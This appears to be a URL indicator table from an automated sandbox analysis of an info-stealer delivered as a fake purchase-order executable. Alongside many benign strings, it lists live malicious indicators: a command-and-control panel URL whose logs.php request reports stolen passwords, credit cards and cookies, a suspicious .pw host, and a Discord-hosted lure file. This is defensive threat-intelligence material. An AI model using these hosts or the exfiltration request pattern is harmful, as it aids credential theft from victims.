https://support.google.com/chrome?p=update_errorFix	asGTRKuvQ.exe, 00000026.00000002.725073734.00000000041C6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ns.adobe.c/g	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.522255639.0000000007C5E000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.461947066.0000000007C5C000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.354155109.0000000007C5A000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.485268304.0000000007C5C000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.436404582.0000000007C5C000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.397335357.0000000007C5E000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.395787924.0000000007C5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/answer/6315198?product=	asGTRKuvQ.exe, 00000026.00000002.725073734.00000000041C6000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.000000000421C000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.20.dr	false		high
http://www.sajatypeworks.com	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/intl/en_uk/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrows	asGTRKuvQ.exe, 00000026.00000002.725073734.00000000041C6000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.000000000421C000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.20.dr	false		high
http://www.jiyu-kobo.co.jp/0	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264471242.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264255443.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mavelecgr.comD8	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000348D000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003803000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000038B4000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000035EA000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000344D000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000388F000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003902000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003713000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003758000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003475000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000037CB000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000369E000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000034B6000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003796000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003736000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000035F7000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000351F000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003459000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003686000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000036F2000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000035BC000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://ip-api.com	Zip.exe, 00000016.00000002.465900541.00000185C00E5000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000016.00000002.465900541.00000185C0099000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000016.00000002.465900541.00000185C007F000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000016.00000002.465900541.00000185C00C2000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000016.00000002.465900541.00000185C00CE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/DPlease	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/Y0	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264471242.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/$	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264010835.000000000640B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/Lihaw	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264471242.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.zhongyicts.com.cn	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome?p=update_error	asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002F8C000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.000000000421C000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.20.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.318747990.00000000032D1000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000015.00000002.521378994.0000000002C11000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000016.00000002.465900541.00000185C0001000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 00000021.00000002.524353289.0000000002419000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002F11000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 0000002A.00000002.641364256.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.carterandcone.como.	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.263370648.0000000006406000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.263323317.0000000006406000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gomorrah.pw	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.328581340.0000000004506000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.328581340.00000000043DD000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000033E2000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000016.00000002.465900541.00000185C0109000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 00000021.00000002.534533664.00000000037EF000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002F65000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002FB7000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002FA7000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 0000002A.00000002.626910982.0000000000402000.00000040.00000400.00020000.00000000.sdmp, update_232107.exe, 0000002A.00000002.641364256.0000000002BF5000.00000004.00000800.00020000.00000000.sdmp, info.txt.20.dr	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comae	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.308629176.0000000006400000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/intl/en_uk/chrome/Google	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004669000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004691000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000041EE000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000041C6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mavelecgr.com/webpanel//logs.php?hwid=CH35A22CC8A7&Passwords=0&CreditCards=0&Cookies=0&AutoFi	asGTRKuvQ.exe, 00000026.00000002.701372874.0000000003033000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.jiyu-kobo.co.jp/S	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264471242.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264255443.0000000006415000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/search?q=chrome&oq=chrome&aqs=chrome..69i57j0j5l3j69i60l3.2663j0j4&sourceid=c	asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002F8C000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000041C6000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.000000000421C000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.20.dr	false		high
http://ns.adobe.cobj	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.522255639.0000000007C5E000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.461947066.0000000007C5C000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.354155109.0000000007C5A000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.485268304.0000000007C5C000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.436404582.0000000007C5C000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.397335357.0000000007C5E000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.395787924.0000000007C5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/J	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264471242.0000000006415000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/chrome?p=upda	asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002F8C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000341B000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002F8C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/?	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004572000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000458F000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000045D4000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000045FC000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000454A000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004619000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004131000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004159000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040EC000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004176000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.carterandcone.coml	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.263036002.0000000006402000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/jp/$	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264471242.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264255443.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/n	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264471242.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/e	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/Bold	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264471242.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264255443.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designersG	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/jp/J	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com?fr=crmas_sfpf	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004572000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000458F000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000045D4000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000045FC000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000454A000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004619000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004131000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004159000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040EC000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004176000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ns.adobe.c/gX	asGTRKuvQ.exe, 00000026.00000002.739628796.000000000775A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.comA	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.260975694.000000000641B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.goodfont.co.kr	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ip-api.com8	Zip.exe, 00000016.00000002.465900541.00000185C0099000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ip-api.com4	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000033E2000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002F42000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 0000002A.00000002.641364256.0000000002BD2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.discordapp.com/attachments/897446870190800920/1077105532562853908/REVISED_PURCHASE_ORDER	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004675000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000046A8000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000041D3000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004205000.00000004.00000800.00020000.00000000.sdmp, REVISED PURCHASE ORDER.HTML	false		high
https://support.google.com/chrome/answer/111996?visit_id=637962485686793996-3320600880&p=update_erro	asGTRKuvQ.exe, 00000026.00000002.725073734.00000000041C6000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.000000000421C000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.20.dr	false		high
https://www.google.com/intl/en_uk/chrome/	asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002F8C000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.000000000421C000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.20.dr	false		high
http://www.sajatypeworks.comY	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.260993619.000000000641B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mavelecgr.com/webpanel/	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.328581340.0000000004506000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.328581340.00000000043DD000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 00000021.00000002.534533664.00000000037EF000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002F11000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 0000002A.00000002.626910982.0000000000402000.00000040.00000400.00020000.00000000.sdmp, update_232107.exe, 0000002A.00000002.641364256.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.fonts.com	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/jp/S	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.263347245.0000000006417000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.263315368.0000000006414000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.267947588.0000000006414000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004572000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000458F000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000045D4000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000045FC000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000454A000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004619000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004131000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004159000.00000004.00000800.00020000.00000000.sdmp, 